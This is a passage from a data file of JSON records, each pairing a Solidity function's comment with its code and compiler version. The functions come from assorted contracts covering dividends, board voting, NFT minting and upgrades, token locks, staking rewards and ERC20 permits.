Start_reward, uint256 End_reward) {\n\t uint256 check_time = block.timestamp;\n\t \trequire (check_time < _start, \"WRONG TIME, LESS THEM CURRENT\");\n\t //\trequire (check_time < _start.add(2629743), \"ONE MONTH BEFORE THE START OF PAYMENTS\");\n\t dividend_start = _start;\n dividend_end = dividend_start.add(2629743);\n return (dividend_start, dividend_end);\n\t}", "version": "0.5.16"} {"comment": "/*@dev call _token_owner address\n \t* @return Revard _dividend\n \t* private function dividend withdraw\n \t*/", "function_code": "function reward () public view returns (uint256 Reward) {\n\tuint256 temp_allowance = project_owner.balance;\n require(temp_allowance > 0, \"BALANCE IS EMPTY\");\n require(balances[msg.sender] != 0, \"ZERO BALANCE\");\n uint256 temp_Fas_count = balances[msg.sender];\n uint256 _percentage = temp_Fas_count.mul(100000).div(totalSupply);\n uint256 _dividend = temp_allowance.mul(_percentage).div(100000);\n return _dividend;\n }", "version": "0.5.16"} {"comment": "/**\n * Distribution of benefits\n * param _token_owner Divider's Token address\n * binds the time stamp of receipt of dividends in struct 'Holder' to\n * 'holders' to exclude multiple receipt of dividends, valid for 30 days.\n * Dividends are received once a month.\n * Dividends are debited from the Treasury address.\n * The Treasury is replenished with ether depending on the results of the company's work.\n */", "function_code": "function dividendToReward() internal {\n \tuint256 temp_allowance = project_owner.balance;\n require(balances[msg.sender] != 0, \"ZERO BALANCE\");\n require(temp_allowance > 0, \"BALANCE IS EMPTY\");\n uint256 withdraw_time = block.timestamp;\n require (withdraw_time > dividend_start, \"PAYMENTS HAVEN'T STARTED YET\");\n require (withdraw_time < dividend_end, \"PAYMENTS HAVE ALREADY ENDED\");\n uint256 period = withdraw_time.sub(holders[msg.sender].rewardWithdrawTime);\n require (period > 2505600, \"DIVIDENDS RECIEVED ALREADY\");\n dividend = reward ();\n holders[msg.sender].rewardWithdrawTime = withdraw_time;\n }", "version": "0.5.16"} {"comment": "/**@dev New member accepts the invitation of the Board of Directors.\n * param Owner_Id used to confirm your consent to the invitation\n * to the Board of Directors of the company valid for 24 hours.\n * if the Owner_Id is not used during the day, the invitation is canceled\n * 'Owner_Id' is deleted.\n * only a new member of the company's Board of Directors has access to the function call\n */", "function_code": "function acceptOwnership() public {\n address new_owner = temporary_address;\n require(msg.sender == new_owner, \"ACCESS DENIED\"); \n uint256 time_accept = block.timestamp;\n difference_time = time_accept - acception_Id;\n if (difference_time < 86400){ \n FASList.push(new_owner);\n Fas_number++;\n }\n else{\n delete owners[new_owner];\n delete FasID[acception_Id].owner_address; \n }\n }", "version": "0.5.16"} {"comment": "/**@dev Removes a member from the company's Board of Directors.\n * param address_owner this is the address of the Board member being\n * removed. Only the project owner has access to call the function.\n * The 'project_owner' cannot be deleted.\n */", "function_code": "function delOwner (address address_owner) public {\n require(msg.sender == project_owner, \"ACCESS DENIED\");\n require (address_owner != project_owner, \"IT IS IMPOSSIBLE TO REMOVE PROJECT OWNER\");\n uint256 Id_toDel = owners[address_owner].ID;\n delete owners[address_owner];\n delete FasID[Id_toDel].owner_address; \n uint256 new_FASListLength = FASList.length;\n new_FASListLength--;\n uint256 index_array_del;\n address [] memory _FASList = new address[](new_FASListLength);\n for (uint256 j = 0; j< Fas_number; j++){\n if (FASList[j] == address_owner){\n index_array_del = j;\n }\n }\n for (uint256 i = 0; i< new_FASListLength; i++){\n if (i < index_array_del){\n _FASList[i] = FASList[i];\n }\n else\n {\n _FASList[i] = FASList[i+1]; \n }\n }\n Fas_number--;\n FASList = _FASList;\n }", "version": "0.5.16"} {"comment": "/**Invitation of a new member of the company's Board of Directors.\n * Only the project owner has access to the function call.\n * param _to address of the invited member of the company's Board of Directors\n * A new member of the company's Board of Directors receives 'Owner_Id'.\n */", "function_code": "function newOwnerInvite(address _to) public {\n require (msg.sender == project_owner, \"ACCESS DENIED\");\n require (balances[_to]>0, \"ZERO BALANCE\");\n for (uint256 j = 0; j< Fas_number; j++){\n require (FASList[j] != _to);\n }\n beforeNewOwnerInvite(_to);\n acception_Id = block.timestamp;\n temporary_address = _to;\n }", "version": "0.5.16"} {"comment": "/** @dev Function to start the voting process. Call access only project_owner.\n * Clears the previous result of the vote. Sets a time stamp for the\n * start of voting.\n * @return votes_num\n */", "function_code": "function createVote() public returns (uint256){\n require (msg.sender == project_owner, \"ACCESS DENIED\");\n votes_num = votes_num.add(1);\n vote_start = block.timestamp;\n voteEndTime = vote_start.add(voting_period);\n voteResult_Agree = 0;\n voteResult_Dissagree = 0;\n lastVoteResult = [0, 0, 0, 0, 0];\n\n return votes_num;\n }", "version": "0.5.16"} {"comment": "/**\n * vote for a given votes_num\n * param Owner_Id the given rights to vote\n * param _vote_status_value uint256 the vote of status, 1 Agree, 0 Disagree\n * Only a member of the company's Board of Directors has the right to vote.\n * You can only vote once during the voting period\n */", "function_code": "function vote(uint256 Owner_Id, uint256 _vote_status_value) public{\n require(_vote_status_value >= 0, \"INPUT: 1 = AGREE, 0 = DISAGREE\");\n require(_vote_status_value <= 1, \"INPUT: 1 = AGREE, 0 = DISAGREE\");\n uint256 voting_time = block.timestamp;\n address check_address = FasID[Owner_Id].owner_address;\n require (msg.sender == check_address, \"ACCESS DENIED\");\n uint256 lastVotingOwnerCheck = voting_time.sub(FasID[Owner_Id].voted_time);\n require(voting_time < voteEndTime, \"THE VOTE IS ALREADY OVER\");\n require(voting_period < lastVotingOwnerCheck, \"YOU HAVE ALREADY VOTED\");\n\n if(_vote_status_value == 0)\n {\n disagree = balances[check_address];\n voteResult_Dissagree = voteResult_Dissagree.add(disagree); \n FasID[Owner_Id].voted_time = voting_time;\n }\n if (_vote_status_value == 1)\n {\n agree = balances[check_address];\n voteResult_Agree = voteResult_Agree.add(agree); \n FasID[Owner_Id].voted_time = voting_time;\n }\n }", "version": "0.5.16"} {"comment": "/**\n * @dev Called only after the end of the voting time.\n * @return the voting restult: vote_num, voteResult, quorum_summ, vote_start, vote_end\n */", "function_code": "function getVoteResult() public returns (uint256[] memory){\n uint256 current_time = block.timestamp;\n require (vote_start < current_time, \"VOTING HAS NOT STARTED\");\n voteEndTime = vote_start.add(voting_period);\n require (current_time > voteEndTime, \"THE VOTE ISN'T OVER YET\");\n \n \n uint256 quorum_summ = voteResult_Agree.add(voteResult_Dissagree);\n\n if(voteResult_Agree >= voteResult_Dissagree)\n {\n voteResult = 1;\n }\n\n if(voteResult_Agree < voteResult_Dissagree)\n {\n voteResult = 0;\n }\n\n lastVoteResult = [votes_num, voteResult, quorum_summ, vote_start, voteEndTime];\n voteNum[votes_num].quorum = quorum_summ;\n voteNum[votes_num].voting_result = voteResult;\n voteNum[votes_num].voting_starts = vote_start;\n voteNum[votes_num].voting_ends = voteEndTime;\n vote_start = 0;\n return lastVoteResult;\n \n }", "version": "0.5.16"} {"comment": "/**\r\n * Reset the pool, clears the existing state variable values and the pool can be initialized again.\r\n */", "function_code": "function _resetPool() internal {\r\n poolStatus = PoolStatus.INPROGRESS;\r\n delete totalEnteredAmount;\r\n delete rewardPerParticipant;\r\n isRNDGenerated = false;\r\n randomResult = 0;\r\n areWinnersGenerated = false;\r\n delete winnerIndexes;\r\n delete participants;\r\n emit PoolReset();\r\n\r\n uint256 tokenBalance = enterToken.balanceOf(address(this));\r\n if (tokenBalance > 0) {\r\n _transferEnterToken(feeRecipient, tokenBalance);\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Set the Pool Config, initializes an instance of and start the pool.\r\n *\r\n * @param _numOfWinners Number of winners in the pool\r\n * @param _participantLimit Maximum number of paricipants\r\n * @param _rewardAmount Reward amount of this pool\r\n * @param _randomSeed Seed for Random Number Generation\r\n */", "function_code": "function setPoolRules(\r\n uint256 _numOfWinners,\r\n uint256 _participantLimit,\r\n uint256 _rewardAmount,\r\n uint256 _randomSeed\r\n ) external onlyOwner {\r\n require(poolStatus != PoolStatus.INPROGRESS, \"in progress\");\r\n require(_numOfWinners != 0, \"invalid numOfWinners\");\r\n require(_numOfWinners < _participantLimit, \"too much numOfWinners\");\r\n\r\n poolConfig = PoolConfig(\r\n _numOfWinners,\r\n _participantLimit,\r\n _rewardAmount,\r\n _randomSeed,\r\n block.timestamp\r\n );\r\n poolStatus = PoolStatus.INPROGRESS;\r\n emit PoolStarted(\r\n _participantLimit,\r\n _numOfWinners,\r\n _rewardAmount,\r\n block.timestamp\r\n );\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @dev Emits event to mint a token to the senders adress\r\n * @param _tokenId address of the future owner of the token\r\n */", "function_code": "function mintNFTWithID(uint256 _tokenId) public payable {\r\n require(!_exists(_tokenId), \"token_exists\");\r\n require(tx.gasprice * gasToMint <= msg.value, \"min_price\");\r\n \r\n // pay owner the gas fee it needs to call mintTo\r\n address payable payowner = address(uint160(owner()));\r\n require(payowner.send( msg.value ), \"fees_to_owner\");\r\n\r\n //\u2192 emit event for off-chain listener\r\n //emit NFTEvent(1, _tokenId, msg.sender, msg.value);\r\n dao.mintNFTWithID(_tokenId, msg.sender, msg.value);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Track token transfers / upgrade potentials\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) internal override {\r\n super._beforeTokenTransfer(from, to, tokenId);\r\n\r\n // Skip freshly minted tokens to save gas\r\n if (from != address(0)) {\r\n tokenTransferCounts[tokenId] += 1;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Upgrade a token if it's ready\r\n */", "function_code": "function upgradeToken(uint256 tokenId) external {\r\n require(_exists(tokenId), \"Update nonexistent token\");\r\n require(_msgSender() == ERC721.ownerOf(tokenId), \"Must own token for upgrade\");\r\n\r\n require(tokenLevels[tokenId] < tokenTransferCounts[tokenId], \"Token is not ready for upgrade\");\r\n uint256 oldLevel = tokenLevels[tokenId];\r\n uint256 newLevel = tokenTransferCounts[tokenId];\r\n\r\n tokenLevels[tokenId] = newLevel;\r\n\r\n emit TokenUpgraded(tokenId, newLevel, oldLevel);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Return the mooncake text for a given tokenId and its level\r\n */", "function_code": "function getMooncakeTextWithLevel(uint256 tokenId, uint256 level) public view returns (string memory) {\r\n uint8[6] memory slotIds = getMooncakeTextSlotIds(tokenId, level);\r\n string memory output = slot0[slotIds[0]];\r\n\r\n if (slotIds[1] < 255) {\r\n output = string(abi.encodePacked(output, slot1[slotIds[1]]));\r\n }\r\n\r\n if (slotIds[2] < 255) {\r\n output = string(abi.encodePacked(output, slot2[slotIds[2]]));\r\n }\r\n\r\n output = string(abi.encodePacked(output, STRING_MOONCAKE));\r\n\r\n if (slotIds[3] < 255) {\r\n output = string(abi.encodePacked(output, STRING_PRE_SLOT3, slot3[slotIds[3]]));\r\n }\r\n\r\n if (slotIds[4] < 255) {\r\n output = string(abi.encodePacked(output, STRING_PRE_SLOT4, slot4[slotIds[4]]));\r\n }\r\n\r\n if (slotIds[5] < 255) {\r\n output = string(abi.encodePacked(output, STRING_PRE_SLOT5, slot5[slotIds[5]]));\r\n }\r\n\r\n return output;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mint tokens\r\n */", "function_code": "function mintWithAffiliate(uint256 numberOfNfts, address affiliate) public payable nonReentrant {\r\n // Checks\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n require(block.timestamp >= SALES_START_TIMESTAMP, \"Not started\");\r\n\r\n require(numberOfNfts > 0, \"Cannot mint 0 NFTs\");\r\n require(numberOfNfts <= 50, \"Cannot mint more than 50 in 1 tx\");\r\n\r\n uint256 total = totalSupply();\r\n require(total + numberOfNfts <= maxNftSupply, \"Sold out\");\r\n\r\n require(msg.value == numberOfNfts * MINT_FEE, \"Ether value sent is incorrect\");\r\n\r\n // Effects\r\n for (uint256 i = 0; i < numberOfNfts; i++) {\r\n uint256 tokenId = total + i;\r\n\r\n _safeMint(_msgSender(), tokenId, \"\");\r\n if (affiliate != address(0)) {\r\n emit AffiliateMint(tokenId, affiliate);\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Claim a free one\r\n */", "function_code": "function claimOneFreeNft() external payable nonReentrant {\r\n // Checks\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n require(block.timestamp >= CLAIM_START_TIMESTAMP, \"Not started\");\r\n\r\n uint256 total = totalSupply();\r\n require(total + 1 <= maxNftSupply, \"Sold out\");\r\n require(numFreeMints + 1 <= maxFreeMints, \"No more free tokens left\");\r\n\r\n require(balanceOf(_msgSender()) == 0, \"You already have a mooncake. Enjoy it!\");\r\n\r\n // Effects\r\n numFreeMints += 1;\r\n _safeMint(_msgSender(), total, \"\");\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Return detail information about an owner's token (tokenId, current level, potential level, uri)\r\n */", "function_code": "function tokenDetailOfOwnerByIndex(address _owner, uint256 index)\r\n public\r\n view\r\n returns (\r\n uint256,\r\n uint256,\r\n uint256,\r\n string memory\r\n )\r\n {\r\n uint256 tokenId = tokenOfOwnerByIndex(_owner, index);\r\n uint256 tokenLevel = tokenLevels[tokenId];\r\n uint256 tokenTransferCount = tokenTransferCounts[tokenId];\r\n string memory uri = tokenURI(tokenId);\r\n return (tokenId, tokenLevel, tokenTransferCount, uri);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Reserve tokens and gift tokens\r\n */", "function_code": "function deployerMintMultiple(address[] calldata recipients) external payable onlyDeployer {\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n uint256 total = totalSupply();\r\n require(total + recipients.length <= maxNftSupply, \"Sold out\");\r\n\r\n for (uint256 i = 0; i < recipients.length; i++) {\r\n require(recipients[i] != address(0), \"Can't mint to null address\");\r\n\r\n _safeMint(recipients[i], total + i);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Deployer parameters\r\n */", "function_code": "function deployerSetParam(uint256 key, uint256 value) external onlyDeployer {\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n if (key == 0) {\r\n SALES_START_TIMESTAMP = value;\r\n } else if (key == 1) {\r\n CLAIM_START_TIMESTAMP = value;\r\n } else if (key == 2) {\r\n MINT_FEE = value;\r\n } else if (key == 3) {\r\n maxNftSupply = value;\r\n } else if (key == 4) {\r\n maxFreeMints = value;\r\n } else {\r\n revert();\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mints multiple tokens to an address and mints unminted maco cash.\r\n * @dev Called by server\r\n * @param _tokenIds array of ids of the token\r\n * @param _to address of the future owner of the token\r\n */", "function_code": "function mintMultipleTo(uint256[] memory _tokenIds, address _to, uint256 _notMinted) public onlyL2Account {\r\n for(uint i = 0; i < _tokenIds.length;i++) {\r\n require(!_exists(_tokenIds[i]), \"token_exists\");\r\n _mint(_to, _tokenIds[i]);\r\n }\r\n mintedSupply = mintedSupply + uint32(_tokenIds.length);\r\n if(_notMinted > 0) {\r\n maco.mintFromCash(_notMinted);\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Deposits token on contract to use off-chain \r\n * @param _tokenId address of the future owner of the token\r\n */", "function_code": "function deposit(uint256 _tokenId) public {\r\n require(ownerOf(_tokenId) == msg.sender, \"deposit_not_by_owner\");\r\n \r\n // would be nicer to have address(this) instead of owner, but then\r\n // for the release, the owner can not be approved by the contract\r\n transferFrom(msg.sender, address(this), _tokenId);\r\n\r\n // Solution with calling own contract call to change msg.sender...\r\n Holomate myself = Holomate(address(this));\r\n myself.approve(owner(), _tokenId);\r\n\r\n //emit NFTEvent(3, _tokenId, msg.sender, 0);\r\n dao.depositNFT(_tokenId, msg.sender);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Mint SNGT tokens and aproves the passed address to spend the minted amount of tokens\r\n * No more than 500,000,000 SNGT can be minted\r\n * @param _target The address to which new tokens will be minted\r\n * @param _mintedAmount The amout of tokens to be minted\r\n * @param _spender The address which will spend minted funds\r\n */", "function_code": "function mintTokensWithApproval(address _target, uint256 _mintedAmount, address _spender) public onlyOwner returns (bool success){\r\n require(_mintedAmount <= _unmintedTokens);\r\n\r\n balances[_target] = balances[_target].add(_mintedAmount);\r\n _unmintedTokens = _unmintedTokens.sub(_mintedAmount);\r\n totalSupply = totalSupply.add(_mintedAmount);\r\n allowed[_target][_spender] = allowed[_target][_spender].add(_mintedAmount);\r\n emit Mint(_target, _mintedAmount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Emits events to release a token from off-chain storage into the blockchain\r\n * @param _tokenId address of the future owner of the token\r\n */", "function_code": "function pickUp(uint256 _tokenId) public payable {\r\n require(tx.gasprice * gasToPickup <= msg.value, \"min_price\");\r\n\r\n // pay owner the gas fee it needs to call release\r\n address payable payowner = address(uint160(owner()));\r\n require(payowner.send( msg.value ), \"fees_to_owner\");\r\n\r\n //\u2192 emit event for off-chain listener\r\n //emit NFTEvent(2, _tokenId, msg.sender, msg.value);\r\n dao.pickUpNFT(_tokenId, msg.sender, msg.value);\r\n \r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev transfer token to a contract address with additional data if the recipient is a contact.\n * @param _to The address to transfer to.\n * @param _value The amount to be transferred.\n * @param _data The extra data to be passed to the receiving contract.\n */", "function_code": "function transferAndCall(address _to, uint _value, bytes calldata _data)\n public\n override\n returns (bool success)\n {\n super.transfer(_to, _value);\n emit TransferWithData(msg.sender, _to, _value, _data);\n if (isContract(_to)) {\n contractFallback(_to, _value, _data);\n }\n return true;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev See {IERC20Permit-permit}.\n */", "function_code": "function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {\n // solhint-disable-next-line not-rely-on-time\n require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n bytes32 structHash = keccak256(\n abi.encode(\n _PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n require(signer == owner, \"ERC20Permit: invalid signature\");\n\n _approve(owner, spender, value);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice function for minting piece\n * @dev requires owner\n * @param _merkleProof is the proof for whitelist\n */", "function_code": "function mint(bytes32[] calldata _merkleProof) public {\n require(mintStatus, \"Error: mint not open\");\n require (availableTokenSupply > 0, \"Error: no more tokens left to mint\");\n require(!hasMinted[msg.sender], \"Error: already minted\");\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\n require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), \"Error: not on whitelist\");\n\n _mint(msg.sender, 0, 1, \"\");\n\n hasMinted[msg.sender] = true;\n availableTokenSupply -= 1;\n }", "version": "0.8.9"} {"comment": "/**\n * @notice function for minting to address\n * @dev only owner\n * @dev only used as backup\n * @param _address is the address to mint to\n * @param _num is the number to mint\n */", "function_code": "function adminMint(address _address, uint256 _num) public onlyOwner {\n require (availableTokenSupply > 0, \"Error: no more tokens left to mint\");\n require(_address != address(0), \"Error: trying to mint to zero address\");\n\n for (uint256 i = 0; i < _num; i++) {\n _mint(_address, 0, 1, \"\");\n }\n\n availableTokenSupply -= _num;\n }", "version": "0.8.9"} {"comment": "// Extend lock Duration", "function_code": "function extendLockDuration(uint256 _id, uint256 _unlockTime) external {\n require(!lockedToken[_id].withdrawn, 'TokenLock: withdrawable is false');\n require(msg.sender == lockedToken[_id].withdrawalAddress, 'TokenLock: not accessible');\n\n // set new unlock time\n lockedToken[_id].unlockTime = lockedToken[_id].unlockTime.add(_unlockTime.mul(1 days));\n lockedToken[_id].blockTime = block.timestamp;\n\n emit ExtendLockDuration(_id, _unlockTime);\n }", "version": "0.6.6"} {"comment": "// withdraw token", "function_code": "function withdrawToken(uint256 _id) external {\n require(block.timestamp >= lockedToken[_id].unlockTime, 'TokenLock: not expired yet');\n require(msg.sender == lockedToken[_id].withdrawalAddress, 'TokenLock: not accessible');\n require(!lockedToken[_id].withdrawn, 'TokenLock: withdrawable not accepct');\n\n // transfer tokens to wallet address\n IERC20(lockedToken[_id].tokenAddress).safeTransfer(msg.sender, lockedToken[_id].tokenAmount);\n Items memory lockItem = lockedToken[_id];\n lockItem.withdrawn = true;\n lockItem.blockTime = block.timestamp;\n lockedToken[_id] = lockItem;\n // update balance of addresss\n walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = 0;\n emit WithdrawToken(msg.sender, lockedToken[_id].tokenAmount);\n }", "version": "0.6.6"} {"comment": "// swapAndLiquify takes the balance to be liquified and make sure it is equally distributed\n// in BNB and Harold", "function_code": "function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\r\n // 1/2 balance is sent to the marketing wallet, 1/2 is added to the liquidity pool\r\n uint256 marketingTokenBalance = contractTokenBalance.div(2);\r\n uint256 liquidityTokenBalance = contractTokenBalance.sub(marketingTokenBalance);\r\n uint256 tokenBalanceToLiquifyAsBNB = liquidityTokenBalance.div(2);\r\n uint256 tokenBalanceToLiquify = liquidityTokenBalance.sub(tokenBalanceToLiquifyAsBNB);\r\n uint256 initialBalance = address(this).balance;\r\n\r\n // 75% of the balance will be converted into BNB\r\n uint256 tokensToSwapToBNB = tokenBalanceToLiquifyAsBNB.add(marketingTokenBalance);\r\n\r\n swapTokensForEth(tokensToSwapToBNB);\r\n\r\n uint256 bnbSwapped = address(this).balance.sub(initialBalance);\r\n\r\n uint256 bnbToLiquify = bnbSwapped.div(3);\r\n\r\n addLiquidity(tokenBalanceToLiquify, bnbToLiquify);\r\n\r\n emit SwapAndLiquify(tokenBalanceToLiquifyAsBNB, bnbToLiquify, tokenBalanceToLiquify);\r\n\r\n uint256 marketingBNB = bnbSwapped.sub(bnbToLiquify);\r\n\r\n // Transfer the BNB to the marketing wallet\r\n _marketingWallet.transfer(marketingBNB);\r\n emit ToMarketing(marketingBNB);\r\n }", "version": "0.8.7"} {"comment": "// Get deposit detail", "function_code": "function getDepositDetails(uint256 _id) public view returns (address _tokenAddress, address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn, uint256 _blockTime, uint256 _lockedTime) {\n return (\n lockedToken[_id].tokenAddress,\n lockedToken[_id].withdrawalAddress,\n lockedToken[_id].tokenAmount,\n lockedToken[_id].unlockTime,\n lockedToken[_id].withdrawn,\n lockedToken[_id].blockTime,\n lockedToken[_id].lockedTime\n );\n }", "version": "0.6.6"} {"comment": "//Set pool rewards", "function_code": "function ownerSetPoolRewards(uint256 _rewardAmount) external onlyOwner {\r\n require(poolStartTime == 0, \"Pool rewards already set\");\r\n require(_rewardAmount > 0, \"Cannot create pool with zero amount\");\r\n \r\n //set total rewards value\r\n totalRewards = _rewardAmount;\r\n \r\n poolStartTime = now;\r\n poolEndTime = now + poolDuration;\r\n \r\n //transfer tokens to contract\r\n rewardToken.transferFrom(msg.sender, this, _rewardAmount);\r\n emit OwnerSetReward(_rewardAmount);\r\n }", "version": "0.4.25"} {"comment": "//Stake function for users to stake SWAP token", "function_code": "function stake(uint256 amount) external {\r\n require(amount > 0, \"Cannot stake 0\");\r\n require(now < poolEndTime, \"Staking pool is closed\"); //staking pool is closed for staking\r\n \r\n //add value in staking\r\n userTotalStaking[msg.sender].totalStaking = userTotalStaking[msg.sender].totalStaking.add(amount);\r\n \r\n //add new stake\r\n Stake memory newStake = Stake(amount, now, 0);\r\n userStaking[msg.sender].push(newStake);\r\n \r\n //add to total staked\r\n totalStaked = totalStaked.add(amount);\r\n \r\n tswap.transferFrom(msg.sender, this, amount);\r\n emit Staked(msg.sender, amount);\r\n }", "version": "0.4.25"} {"comment": "//compute rewards", "function_code": "function computeNewReward(uint256 _rewardAmount, uint256 _stakedAmount, uint256 _stakeTimeSec) private view returns (uint256 _reward) {\r\n uint256 rewardPerSecond = totalRewards.mul(1 ether);\r\n if (rewardPerSecond != 0 ) {\r\n rewardPerSecond = rewardPerSecond.div(poolDuration);\r\n }\r\n \r\n if (rewardPerSecond > 0) {\r\n uint256 rewardPerSecForEachTokenStaked = rewardPerSecond.div(totalStaked);\r\n uint256 userRewards = rewardPerSecForEachTokenStaked.mul(_stakedAmount).mul(_stakeTimeSec);\r\n userRewards = userRewards.div(1 ether);\r\n \r\n return _rewardAmount.add(userRewards);\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.4.25"} {"comment": "//calculate your rewards", "function_code": "function calculateReward(address _userAddress) public view returns (uint256 _reward) {\r\n // all user stakes\r\n Stake[] storage accountStakes = userStaking[_userAddress];\r\n \r\n // Redeem from most recent stake and go backwards in time.\r\n uint256 rewardAmount = 0;\r\n uint256 i = accountStakes.length;\r\n while (i > 0) {\r\n Stake storage userStake = accountStakes[i - 1];\r\n uint256 stakeTimeSec;\r\n \r\n //check if current time is more than pool ending time\r\n if (now > poolEndTime) {\r\n stakeTimeSec = poolEndTime.sub(userStake.stakingTime);\r\n if(userStake.lastWithdrawTime != 0){\r\n stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);\r\n }\r\n } else {\r\n stakeTimeSec = now.sub(userStake.stakingTime);\r\n if(userStake.lastWithdrawTime != 0){\r\n stakeTimeSec = now.sub(userStake.lastWithdrawTime);\r\n }\r\n }\r\n \r\n // fully redeem a past stake\r\n rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);\r\n i--;\r\n }\r\n \r\n return rewardAmount;\r\n }", "version": "0.4.25"} {"comment": "//Withdraw rewards", "function_code": "function withdrawRewardsOnly() external {\r\n uint256 _rwdAmount = calculateReward(msg.sender);\r\n require(_rwdAmount > 0, \"You do not have enough rewards\");\r\n \r\n // 1. User Accounting\r\n Stake[] storage accountStakes = userStaking[msg.sender];\r\n \r\n // Redeem from most recent stake and go backwards in time.\r\n uint256 rewardAmount = 0;\r\n uint256 i = accountStakes.length;\r\n while (i > 0) {\r\n Stake storage userStake = accountStakes[i - 1];\r\n uint256 stakeTimeSec;\r\n \r\n //check if current time is more than pool ending time\r\n if (now > poolEndTime) {\r\n stakeTimeSec = poolEndTime.sub(userStake.stakingTime);\r\n if(userStake.lastWithdrawTime != 0){\r\n stakeTimeSec = poolEndTime.sub(userStake.lastWithdrawTime);\r\n }\r\n } else {\r\n stakeTimeSec = now.sub(userStake.stakingTime);\r\n if(userStake.lastWithdrawTime != 0){\r\n stakeTimeSec = now.sub(userStake.lastWithdrawTime);\r\n }\r\n }\r\n \r\n // fully redeem a past stake\r\n rewardAmount = computeNewReward(rewardAmount, userStake.amount, stakeTimeSec);\r\n userStake.lastWithdrawTime = now;\r\n i--;\r\n }\r\n \r\n //update user rewards info\r\n userRewardInfo[msg.sender].totalWithdrawn = userRewardInfo[msg.sender].totalWithdrawn.add(rewardAmount);\r\n userRewardInfo[msg.sender].lastWithdrawTime = now;\r\n \r\n //update total rewards withdrawn\r\n rewardsWithdrawn = rewardsWithdrawn.add(rewardAmount);\r\n \r\n //transfer rewards\r\n rewardToken.transfer(msg.sender, rewardAmount);\r\n emit RewardWithdrawal(msg.sender, rewardAmount);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Creates `amount` new tokens for `to`.\r\n *\r\n * See {ERC20-_mint}.\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have the `MINTER_ROLE` and only admin can mint to self.\r\n * - Supply should not exceed max allowed token supply\r\n */", "function_code": "function mint(address to, uint256 amount) public {\r\n require(hasRole(MINTER_ROLE, _msgSender()), \"SatoshiToken: must have minter role to mint\");\r\n require(amount + totalSupply() <= MAX_TOKEN_SUPPLY, \"SatoshiToken: Supply exceeds maximum token supply\");\r\n\r\n if (to == _msgSender()) {\r\n require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), \"SatoshiToken: must have admin role to mint to self\");\r\n }\r\n _mint(to, amount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev Burns a specific amount of tokens from the target address and decrements allowance\r\n * @param _from address The address which you want to send tokens from\r\n * @param _value uint256 The amount of token to be burned\r\n */", "function_code": "function burnFrom(address _from, uint256 _value) public {\r\n require(_value <= allowed[_from][msg.sender]);\r\n // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,\r\n // this function needs to emit an event with the updated approval.\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n _burn(_from, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @param _hashID token holder customized field, the HashFuture account ID\r\n * @param _name token holder customized field, the name of the holder\r\n * @param _country token holder customized field.\r\n * @param _photoUrl token holder customized field, link to holder's photo\r\n * @param _institute token holder customized field, institute the holder works for\r\n * @param _occupation token holder customized field, holder's occupation in the institute he/she works in\r\n * @param _suggestions token holder customized field, holder's suggestions for HashFuture\r\n **/", "function_code": "function issueToken(\r\n address _to,\r\n string _hashID,\r\n string _name,\r\n string _country,\r\n string _photoUrl,\r\n string _institute,\r\n string _occupation,\r\n string _suggestions\r\n )\r\n public onlyOwner\r\n {\r\n uint256 _tokenId = allTokens.length;\r\n\r\n IdentityInfoOfId[_tokenId] = IdentityInfo(\r\n _hashID, _name, _country, _photoUrl,\r\n _institute, _occupation, _suggestions\r\n );\r\n\r\n _mint(_to, _tokenId);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Get the holder's info of a token.\r\n * @param _tokenId id of interested token\r\n **/", "function_code": "function getTokenInfo(uint256 _tokenId)\r\n external view\r\n returns (string, string, string, string, string, string, string)\r\n {\r\n address tokenOwner = ownerOf(_tokenId);\r\n require(tokenOwner != address(0));\r\n\r\n IdentityInfo storage pInfo = IdentityInfoOfId[_tokenId];\r\n return (\r\n pInfo.hashID,\r\n pInfo.name,\r\n pInfo.country,\r\n pInfo.photoUrl,\r\n 